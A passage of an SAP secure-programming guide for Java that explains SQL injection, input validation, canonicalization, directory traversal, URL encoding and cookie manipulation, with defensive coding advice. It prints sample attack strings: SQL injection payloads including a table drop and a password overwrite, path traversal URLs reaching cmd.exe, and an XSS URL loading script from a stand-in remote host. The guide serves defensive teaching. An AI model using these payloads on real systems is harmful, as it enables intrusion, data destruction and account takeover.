Secure Programming – Java 27 / 50

text="<h1><i>Important</i></h1>

encode = "false" The text string is rendered by interpreting the formatting commands. encode = "true" The formatting commands are displayed and not interpreted.

Example TextView When using the HTMLB - classlib:

Form form = (Form)this.getForm();

TextView tv2 = new TextView("tv2");

tv2.setEncode("FALSE");

tv2.setText("ZIP Code");

tv2.setDesign(TextViewDesign.EMPHASIZED);

form.addComponent(tv2); When using the HTMLB - taglib:

<hbj:textView

id="Text_ZIP"

text="ZIP Code"

design="EMPHASIZED"

encode="FALSE"

/>

Further information is available in the Portal Development Kit (PDK) within the Enterprise Portal. c) For Web Dynpro for Java: Due to the architecture of Web Dynpro, automatic integration of output encoding functionality is available. Therefore, no further output encoding functionality has to be implemented manually.

Secure Programming – Java 28 / 50

Further Information 1. A short story about Cross-Site Scripting https://weblogs.sdn.sap.com/pub/wlg/2422 2. Writing Secure Web Applications / Presentation

http://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/events/sap-teched-04/Writing%20Secure%20Web%20Applications.pdf

3. SAP encoding functions in the Web environment (SAP Note 866020)

Secure Programming – Java 29 / 50

SQL Injection Description

Today all Web applications are accessed by Internet and so face the risk of being exposed to manipulation. Most of the Web applications rely on RDBMS (Relational Database Management System) servers representing a possible vulnerability to SQL injection attacks arising from direct integration of user input into SQL statements without appropriate validation or filtering. The basis of this vulnerability lies in the creation of SQL commands with character strings. Attackers are successful if they are able to change the semantics of an SQL statement for their benefits or are able to insert own statements into the application. Entry points can be for instance input boxes in Web forms or URLs. The results could be unauthorized information access, information disclosure, unauthorized data modification or data loss. Several main categories of SQL injection attacks are distinguished:

SQL Manipulation: • Using the operation UNION. • Changing the WHERE clause.

Example Code 1: Original SQL statement:

SELECT fieldlist

FROM table1

WHERE field = 'userinput'.

Examples for SQL injection attack: SELECT fieldlist

FROM table1

WHERE field = 'UNION ALL SELECT other_field

FROM other_table WHERE '='.

Example Code 2: Original SQL statement:

SELECT fieldlist

FROM table

WHERE field = 'userinput'.

Examples for SQL injection attack: SELECT fieldlist

FROM table

WHERE field = 'anything' OR 'x'='x''.

SELECT fieldlist

FROM table

WHERE field = 'x' AND email IS NUL; --'.

Secure Programming – Java 30 / 50

Code Injection: • Inserting new database commands into the vulnerable code. • Append a SQL server EXECUTE command to the malicious code.

Example Code 1:

Original SQL statement: SELECT *

FROM table

WHERE name = 'userinput'.

Examples for SQL injection attack: SELECT *

FROM table

WHERE name = ' a'; DROP TABLE users; SELECT * FROM table1 WHERE name = '%''.

Functional Call Injection: • Insertion of various database function calls into a vulnerable SQL code.

Several known attack strings listed in the table below may be a part of the SQL injection code to manipulate the original query. Hackers try various input combinations to enforce SQL statements into an error message. The following list of malicious inputs may or may not give the same results depending on the server. Therefore, it will be good to try all the inputs. Possible attack strings are: ‘ Bad value’ ‘ OR ‘ ‘ OR ; 9,9,9 ...; SELECT ^\n exec() ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- Attention has to be paid to the different output of possible vulnerable metacharacters in SQL statements. Characters could be displayed as ASCII, HEX, escaped ASCII, and escaped HEX. These four potential notations reveal the complexity of such SQL injection attacks.

Secure Programming – Java 31 / 50

Possible Characters to be used in SQL Code Injection: ASCII HEX

SPACE %20 \SPACE \%20 \' \%27 ' %27 \" \%22 " %22 -- %2D%2D \-\- \%2D\%2D \= \%3D = %3D \; \%3B ; %3B \# \%23 # %23

Examples for combinations of ASCII and HEX-characters used within malicious code:

ASCII / HEX-characters Explanation

\w* Zero or more alphanumeric or underscore characters.

(\%27)|\' The ubiquitous single-quote or its hex equivalent.

(\%6F)|o|(\%4F))((\%72)|r|(\%52) The word 'or' with various combinations of its upper and lower case hex equivalents.

((\%2F)|\/)* The forward slash for a closing tag or its hex equivalent.

[a-z0-9\%]+ The alphanumeric string inside the tag, or hex representation of these.

(\%3C)|<) The opening angled bracket or hex equivalent.

((\%3E)|>) The closing angle bracket or hex equivalent.

(\%69)|i|(\%49))((\%6D)|m| (\%4D))((\%67)|g|(\%47)

The letters 'img' in varying combinations of ASCII, or upper or lower case hex equivalents.

Secure Programming – Java 32 / 50

What Do I Get from the SAP NetWeaver Platform? 1.) Open SQL/JDBC and Open SQL/SQLJ already offers some implicit protection against SQL code injection as follows:

Since all statements are being prepared, it is not possible to insert malicious code snippets using host variables, as for example the comparison values of a WHERE clause.

The SQL statements SELECT, MODIFY, UPDATE, INSERT, and DELETE may all have dynamic clauses. But:

• the leading keyword of a clause has to be static. • no SQL statement can be executed within a clause of another statement

completely dynamically. • sub queries can contain dynamic clauses but the leading SELECT

keyword is always static. 2.) JDBC: with regard to the vulnerability for SQL injection attacks you should keep in mind:

Instead of using java.sql.Statement which is vulnerable to SQL injection String wcl = request.getParameter(“para"); if ( ! (wcl == null) ) { wcl = "where key1 = '" + wcl + "'"; } else { wcl = "where key1 = ''"; } try { Context ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup("java:comp/env/TMP_MYTABLE"); Connection conn = ds.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "select key1,nonkey from TMP_MYTABLE “ + wcl); while (rs.next()) { … Write the results to HTML-output } }

wrap SQL strings with instances of java.sql.PreparedStatement. which yields a safer coding:

String wcl = request.getParameter(“para"); // method to validate input stream -> validateInput if ( validateIput(wcl) ) if ( (wcl == null) ) { wcl = ""; } try { Context ctx = new InitialContext();

Secure Programming – Java 33 / 50

DataSource ds = (DataSource)ctx.lookup("java:comp/env/TMP_MYTABLE"); Connection conn = ds.getConnection(); String stmt = "select key1,nonkey from TMP_MYTABLE where key1 = ?"; PreparedStatement ps = conn.prepareStatement(stmt); ps.setString(1,wcl); ResultSet rs = ps.executeQuery(); while (rs.next()) { … write output to HTML code } } } else { … write secutrity alert … }

Filter user input, while retrieving user information for your SQL statement.

What Do I Need to Do? As mentioned above, the information in Relational Database Management Systems is stored and retrieved with SQL statements. Therefore the following general rules may be helpful to circumvent SQL injection attacks:

Define a codepage (e.g. charset = ISO-8859-1) to clearly decide which characters are problematic.

Do filter user input, while retrieving user information for your SQL statement. Filter your data with the following regular expression for numbers and letters.

• s/[^0-9a-zA-z]//g If the user is allowed to submit an email address, allow only “@”, “_”, “.” and “-“. Prepend and append a quote to all user input, even if it is numeric. Restrict the rights of the Web application user. Configure error reporting.

• Restrict error reporting (by server side and by application) so that internal system information cannot be shown to outside users. For hackers Cross-Site scripting (XSS) attacks are facilitated, if the full query is shown, pointing to the syntax error involved.

How Not to Do It? If the developer allows unfiltered user input values to be taken for a SELECT statement, any attack may be possible to read almost the whole database.

Secure Programming – Java 34 / 50

Input Validation Description

Whenever software processes input, it should make sure that this input is in the expected form. From a functional point of view, this will ensure a high data quality level. Form a security point of view, this will prevent unexpected data from altering the intended execution of the program. Software processes input from various sources:

• User input from a GUI • Parameters from a configuration file • Data from a database • Data from remote function calls • Etc.

Risk: If input is not validated sufficiently, the application processing the data might crash or could be tricked into performing unwanted tasks.

What Do I Get from the SAP NetWeaver Platform? Web Dynpro (ABAP and Java) performs type validation. Therefore applications don’t have to check for correct data type. Caveat: Note that ABAP and Java types are not necessarily identical.

What Do I Need to Do? Basically you should validate your input. To achieve that goal, you have to provide a validation function for each input variable. You might group the variables (e.g. all input strings) and write one validation function for each group (e.g. string validator), which increases your efficiency. The task of writing validation code can be described as a stepwise procedure. In case of Web Dynpro, the framework automatically does the type validation before you can even access a variable. So the first three steps of the following list have been already performed. Consequently, in Web Dynpro you have to start your additional input validation at the 4th step of the following input validation ‘to do’ list:

1. Existence and length check 2. Canonicalization 3. Type check 4. Range check 5. White list filter 6. Black list filter

These steps will be explained further in the following:

Secure Programming – Java 35 / 50

Step 1: Existence and length check It must not be possible to attack the application simply by omitting a necessary variable or feeding in data packets that are either too long or too short. So, first of all, your validation function shall check if the variable of interest exists and has the correct length. Step 2: Canonicalization Canonicalization means, the input variable’s content is transformed into its simplest and shortest representation. Many attack methods depend on the usage of ‘polymorph representation’, i.e. an unusual or overly complicated form that is designed to evade filter mechanisms. So the transformation in its simplest form is fundamental for successful filter mechanisms. Step 3: Type check Since attackers should not be able to harm the application by feeding input data of the wrong type to it (e.g. strings instead of dates), the validation function has to check the variable for its correct type. Step 4: Range check After that, you should check if the variable's values are in the correct range. Clearly, this is only possible for variables with a definable range of values (like numbers). It is imperative to define the limits exactly here. For all input you should think about where the boundaries lie. Step 5: ‘White list’ filter If a variable simply has no clear range of values (e.g. strings) a range check would be pointless. In this case your validation function should contain a list of allowed values and check the input against this instance. Such an instance is called a ‘white list’ filter. Step 6: ‘Black list’ filter There may be cases where you even can not implement a white list filter. In this situation, you should write a black list filter function at least. For this is better than doing no filtering at all. Doing nothing here regularly has detrimental effects for the security of your application. Black lists are fallbacks only! At this point, it is extremely important to acknowledge that black list filters are vulnerable by nature – and so can be only a fallback solution. Our advice here is very clear: Whenever possible, use a white list filter. If it is not feasible, work towards making it so. Only if it is still absolutely impossible, use a black list filter. In the later case, include this as vulnerability in the application's internal documentation.

How Not to Do It? Oftentimes input is not validated, for any one of the following reasons: • Input is not recognizes as such • The source of input is trusted

Secure Programming – Java 36 / 50

• The implicit assumption that someone else already did the validation • Performance is more important than security • Insufficient time in the project Not validating input is a high security risk. Please make sure to precisely weigh the pros and cons whenever you have priorities other than security.

Secure Programming – Java 37 / 50

Canonicalization Description

Canonicalization describes the mechanisms to trace back different polymorphic expressions to a canonical distinct expression. For example, within the context of a search engine the data file ‘Hello World.doc’ may be accessible by any one of the following polymorphic links:

• http://www.sap.com/Hello+World.doc • http://www.sap.com/hello+world.doc • http://www.sap.com/Hello%20World.doc

The canonical representation ensures that ‘strange’ but allowed forms of an expression (for example, URL encoding or Unicode) do not pass any filter mechanisms. A polymorph representation of data is not necessarily an attack in itself, but helps to slip malicious data past a filter by “disguising” it.

What Do I Need to Do? The figure below clarifies what you as a developer have to do:

• Unescape the input and bring it to its shortest or simplest form (canonicalization). • Validate the input dependent on the output (HTML, database or file system).

o Be aware of double encoded characters. o Check, if you work in the same character space (Unicode vs. ASCII). o Remember that combinations of ASCII and HEX characters may represent

malicious code. See also chapter “SQL injection”. o Remember case sensitivity and try to find a ‘capitalized’ canonical form.

• Check against a white list of patterns instead of using a black list. • Pay attention to the interpreters’ operation mode, because different interpreters might

handle the same data in different ways.

Influence each other

Interpreter: Input: • Browser • File Process • XML Parser unescape

• File System • GUI Filter for e.g. .asp canonicalize • SQL-Interpreter • Database

• etc. .jsp • etc.

Figure 3: Dependencies of the Canonicalization Process

Secure Programming – Java 38 / 50

Example of a bad filter Example for the original file, that is allowed to be accessed:

c:\sap\file\test.txt

Example for potentially malicious code:

Example Code 1: c:\sap\file\test.asp

Access to the file will be denied by the filter of the process, due to the extension .asp. Such a filter does not accept any .asp or .jsp extensions. Example Code 2:

c:\sap\file\test.asp::$data

The file ends with ‘data’, which is not interpreted as malicious ending such as ‘.asp’ or ‘.jsp’ by the process filter. Therefore, the file will be accessed by the interpreter. Example Code 3:

c:\sap\file\test.asp%00de.doc

The file ends with ‘doc’, which is not interpreted as malicious ending such as ‘.asp’ or ‘.jsp’ by the process filter. The file will be opened, because the interpreter does not accept any information following the NULL (%00).

Further Information 1. OWASP Guide Version 2.0.1 (Pages 185 -191)

http://surfnet.dl.sourceforge.net/sourceforge/owasp/OWASPGuide2.0.1.pdf

Secure Programming – Java 39 / 50

Directory Traversal Description

Web servers generally are set up to restrict public access to a specific portion of the Web server's file system. In a Directory Traversal or Path Traversal attack, an intruder manipulates a URL in such a way that the Web server executes or reveals the contents of a file anywhere on the server, residing outside of the Web server's root directory. Path Traversal attacks take advantage of special-characters sequences in URL input parameters, cookies and HTTP request headers. A common Path Traversal attack uses the "../" character sequence to alter the document or resource location requested in a URL. Although most Web servers prevent this method by escaping sequences, alternate encodings of the "../" sequence can bypass basic security filters. Even if a Web server properly restricts Path Traversal attempts in the URL path, any application that exposes an HTTP-based interface is also potentially vulnerable to such attacks. These method variations include valid and invalid Unicode-encoding of:

The forward slash character, e.g. "..%u2216" or "..%c0%af". The backslash characters, e.g. URL encoded characters "%2e%2e%2f" , or

double URL encoding "..%255c" .

Examples Several typical Path Traversal attacks may be distinguished:

Path Traversal attacks against a Web server: Examples for Path Traversal attack: Example Code 1:

http://example.test/../../../secret/file

This attack is the "classic" version of a Path Traversal attack. Most Web servers and applications will at least filter the '../' character string. However, it is worth noting that many applications running under Windows might also be vulnerable to the '..\' character string (backslash instead of slash). Example Code 2:

http://example.test/..%5c..%5c..%5csecret/file

The second attack uses escaped encoding ('%5c' translates to '\'). It relies on the assumption that the target application either has no relevant security checks for Path Traversal in place or that those checks are done before the translation of the escaped characters.

Example Code 3:

http://example.test/..%255c..%255c..%255csecret/file The third attack is a special version that is widely known for its use against a Web server that (unintentionally) translated escaped encoded characters twice. However, the security checks were done only after the first conversion. As '%25' translates to

Secure Programming – Java 40 / 50

'%' after the first conversion the third attack looked exactly like the second attack but was not detected by the security checks in place. After the second conversion the '%5c' were replaced by '/' and the attack string was complete. Notice, the string "%5c" within the URL is a Web server escape code. Escape codes are used to represent normal characters in the form of %nn, where nn stands for a two-digit number. The escape code "%5c" represents the character "\". The problem is that the IIS root directory enforcer did not check for escape codes and allowed that request to execute. The Web server's operating system understands escape codes and executes the command. This example shows quite well how 'creative' exploitable programming errors can be. Multiple decoding of masked characters is a common problem for many applications.

Path Traversal attacks against a Web application:

Original URL: http://example.test/cgi-bin/index.cgi?web/web.html

Example for Path Traversal attack: http://example.test/cgi-bin/index.cgi?../cgi-bin/index.cgi

Obviously, the Web pages on this Web server are not addressed directly. Rather this work is done by a script called 'index.cgi'. The script evaluates the parameter ('web/web.html') included in the URL after the question mark and outputs the designated file, probably doing some standard extra work like adding header and footer. If the attacker guessed the directory structure and the script did not do appropriate input validation the script probably displays its source code to the attacker in a Web page thus giving away valuable hints for further attacks.

Path Traversal attacks using special characters:

Original URL: http://example.test/cgi-bin/index.cgi?web/web.html

Example for Path Traversal attack: http://example.test/cgi-bin/index.cgi?../cgi-bin/index.cgi%00.html

One input validation technique consists of checking the extension of a file name parameter. The underlying idea is to only display files with a 'correct' extension like 'html' or '.txt' thus preventing the application from displaying, e.g., script code. The attack above uses the escaped encoded NUL character ('%00') creating a URL that ends with '.html' to pass this validation step. However, chances are that the script - when using the parameter - will stop evaluating the parameter string as soon as it reaches the NUL character and once again might be tricked into displaying its source code to the attacker.

Secure Programming – Java 41 / 50

Possible ASCII Characters to be used in Path Traversal attacks: ASCII Escaped

encoding NUL %00 Space %20 % %25 . %2e / %2f : %3a \ %5c

What Do I Need to Do? General recommendations to prevent Path Traversal attacks:

Don’t implement file access functionality that is based on user input, unless there is no other alternative.

If you must allow user input, try to constrain it to a list of allowed files/paths. Additionally you should ensure that:

A codepage (e.g. charset = ISO-8859-1) is defined to clearly decide which characters are problematic.

The given input is filtered for malicious metacharacters. Beside the above mentioned aspects to prevent Path Traversal attacks, the Web server provides two main security mechanisms:

The root directory, which limits users' access to a specific directory in the Web server's file system.

The administrators’ access control list, which limits users' access to specific files within the root directory.

Secure Programming – Java 42 / 50

URL Encoding and Manipulation Description

Within literature URL encoding, UTF encoding, escape-encoding, percent-encoding and Web encoding are used interchangeably. For a better understanding of malicious attacks like XSS or SQL injection attacks it is required to gain insight of URL encoding techniques. Web applications transfer data between client and server using the HTTP or HTTPS protocols. Normally all user input may be passed to the server either in the HTTP headers (submitted through the cookie field, or the post data field) or included in the query portion of the requested URL. If the data is transferred by an URL, it has to be especially encoded to obey the proper syntax rules of URL’s. Two types of character cases have to be distinguished for the standard (RFC2396):

The unreserved class comprises the characters: • a-z, A-Z, 0-9 _ . ! ~ * # ( )

The reserved class contains the following characters: • ; / ? : @ & = + $ ,

Characters out of the reserved class could conflict with the correct interpretation of a URL. Escape-encoding is the matter of choice to guarantee a correct syntax interpretation of these reserved characters. The URL encoding is achieved by a triplet sequence consisting of a percentage character “%” followed by the two hexadecimal digits representing the octet code of the original character. The percentage character has the purpose to be the escape indicator within an URL and therefore has to be escaped itself as "%25" in order to be used as data in an URL. For URI encoding it is recommended to ensure that not to escape or un-escape the same string more than once, since un-escaping an already un-escaped string might lead to misinterpreting a percent data character as another escaped character, or vice versa in the case of escaping an already escaped string. Multiple escape-encoding at different layers of an application may circumvent security checks on the initial decoding pass. An example of such a multiple escape-encoding should be given considering the character sequence “\” or “..\”. The backslash “\” may be described as “%5c” or the following permutations:

• %255c • %%35c • %%35%63 • %25%35%63

These different escape-encoding sequences give an example of possible entry points for URL attacks, such as:

URL attack in terms of a multiple decoding attack: Example for URL attack:

http://TARGET/scripts/..%255c..%%35cwinnt/system32/cmd.exe?/ c+dir+c:\

Attack result: • The directory list of C:\ is revealed.

Secure Programming – Java 43 / 50

URL attack in terms of XSS attack: Example for URL attack:

http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e

Attack result: <script src=”http://www.badplace.com/nasty.js”></script>

URL attack in terms of SQL injection attack:

Example for URL attack: http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd %3d%270wn3d%27%3b--%00

Attack result: • Executed database query:

SELECT preferences FROM logintable WHERE userid=’bob’; update logintable set password=’0wn3d’;

Useful Hint:

A reference table of ASCII characters in URL encoding form (hexadecimal format) is accessible at http://www.w3schools.com/tags/ref_urlencode.asp .

What Do I Get from the SAP NetWeaver Platform? For Web Dynpro for Java: Due to the architecture of Web Dynpro, automatic integration of output encoding functionality is available. Therefore, no further output encoding functionality has to be implemented manually.

What Do I Need to Do? The different character encoding schemes and their variety of application offer an infinite number of malicious encoding. Thus, the developer has the responsibility to secure his application against such encoding attacks, considering the following rules:

Read the ‘Request for Comments’ (RFC) 3986 on 'Uniform Resource Identifier (URI):generic syntax ' carefully for correct syntax processing of the URLs (search at http://www.rfc-editor.org).

User input has to be regarded as potentially malicious code. Avoid to submit data using the ‘GET’ method, because the data is appended to

the URL and may be easily manipulated. It is better to use the ‘POST’ method instead.

Do not rely on client-side content checks. Do validate and sanitize all data on server side.

Always restrict the type of acceptable data as much as possible using strict validation rules.

Always perform independent validation and sanity checks of the supplied data.

Secure Programming – Java 44 / 50

Ensure, that the application does not repeat any character-decoding process. Decoding should be done by the operating system. Suppose, that the data remains encoded or contains unacceptable characters, treat the data as malicious one’s and deny the input.

Thoroughly test your application for system behavior on encoded and incorrect data formats.

Secure Programming – Java 45 / 50

Cookie Manipulation Description

HTTP is a stateless protocol. As a method for session tracking, Netscape in 1994 invented a mechanism called “Cookie”. A cookie is a small piece of information usually created by the Web server and stored in the Web browser. Each time the user contacts the Web server, this data is passed back to the server. The cookie contains information used by Web applications to persist and pass variables back and forth between the browser and the Web application. Two types of client-side cookies are known:

Persistent cookies, which are stored in a file on the client until an expiry date. Session cookies, which are kept in the memory of the client until the

session is ended.

Examples Example Code (Cookies sent by the server, the first one being persistent): HTTP/1.1 200 OK ... Set-Cookie: client=a5b35e36-b342-464b-a3a6-8e3718990af9; domain=.sap.com; expires=Wed, 18-Jan-2006 11:38:56 GMT; path=/ Set-Cookie: ASP.NET_SessionId=c12ylm55kp3uirruo4is5sm5; path=/ ...

Examples Example Code (Cookie sent by the client): POST /index.epx HTTP/1.1 ... Cookie: GCUID01=452492715; GCCKVER=5; ASP.NET_SessionId=c12ylm55kp3uirruo4is5sm5; client=a5b35e36-b342-464b-a3a6-8e3718990af9

As a result of the cookie structure and their usage, all data stored in a client-side cookie could be easily read and manipulated. The risk of tampering with data and even information disclosure is very high. Due to the fact that many cookies are Base64 encoded, no cryptographic protection is offered. The best practice to avoid cookie manipulation is to be suspicious of data stored in cookies.

What Do I Get from the SAP NetWeaver Platform? Session tracking mechanisms within Java development on the SAP NetWeaver platform reside on the J2EE standard. There is no additional support from the SAP NetWeaver platform considering the improvement of security beyond the general recommendations of the J2EE standard (see next section).

Secure Programming – Java 46 / 50

What Do I Need to Do? 1. Store all data in the HttpSession object. The HttpSession object of the J2EE standard allows you to track sessions with an object residing on the server side. It solves the problem of session tracking when the user has disabled the cookies mechanism in his Web browser on the client side.

Examples Example Code (Using HttpSession):

import javax.http.servlet.HttpSession; … HttpSession session = request.getSession(true); ShoppingCart cart = (ShoppingCart)session.getAttribute("shoppingCart"); if (cart==null) { cart = new ShoppingCart(); session.setAttribute("shoppingCart",cart); } …

For more information please refer to the J2EE Session Tracking API: http://java.sun.com/products/servlet/2.2/javadoc/index.html 2. Do not store ANY data in a client cookie, unless you absolutely have to. Hackers can easily manipulate client-side cookies. Cookies should be used for the following purpose only:

To maintain session IDs. To persist certain information on the browser.

3. Dealing with cookies, the following security considerations have to be taken into account:

Use the session management that the SAP NetWeaver platform provides. Don’t create your own.

Never store any confidential data in a cookie, such as the non-public IP addresses of target servers, host names, or system IDs. If information of this type is important for control, you should use a hash procedure for one-way encryption of the data.

Use idle timeouts for applications that expose private data or that may cause identity theft if left open.

Offer a logout mechanism to the user, to manually shorten the time until a session timeout will end the session automatically.

How Not to Do It? Sometimes cookies may contain personal information, if programmers do not pay attention to the advice never to store any confidential data in a cookie. The extent of cookie manipulation ranges from session tokens to arrays that make authorization decisions. Cookie poisoning can even lead to vulnerabilities such as SQL injection and cross-site scripting.

Secure Programming – Java 47 / 50

Examples Example Code 1:

(Original cookie) Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;

(Cookie modified by an attack)

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;

Example Code 2:

Shopping carts used to store pricing information in cookies. (Part of a shopping cart applications' cookie)

item1_ID=12369&item1_pr=27,95&item2_ID=10334&item2_pr=19,95

> Total Amount: $47,90

(Manipulated cookie)

item1_ID=12369&item1_pr=0,95&item2_ID=10334&item2_pr=1,95

> Total Amount: $2,90

Further Information 1. OWASP Guide Version 2.0.1 (Pages 147 – 160)

http://surfnet.dl.sourceforge.net/sourceforge/owasp/OWASPGuide2.0.1.pdf 2. Writing Secure Web Applications (Slides 50 – 51)

http://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/events/sap-teched-04/Writing%20Secure%20Web%20Applications.pdf

3. J2EE Session Tracking API http://java.sun.com/products/servlet/2.2/javadoc/index.html

Secure Programming – Java 48 / 50

Further Information

Secure Programming Checklist You can find a checklist that lists the most important issues that you should pay attention to in order to develop secure applications here: https://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/docs/library/uuid/4ab8b3bb-0601-0010-7b82-e392df20392a

SAP NetWeaver Developer’s Guide You can find the SAP NetWeaver Developer’s Guide here: https://www.sdn.sap.com/irj/sdn/developersguide

Secure Programming – Java 49 / 50

Disclaimer Any software coding and/or code lines / strings ("Code") included in this documentation are only examples and are not intended to be used in a productive system environment. The Code is only intended better explain and visualize the syntax and phrasing rules of certain coding. SAP does not warrant the correctness and completeness of the Code given herein, and SAP shall not be liable for errors or damages caused by the usage of the Code, except if such damages were caused by SAP intentionally or grossly negligent.

Secure Programming – Java 50 / 50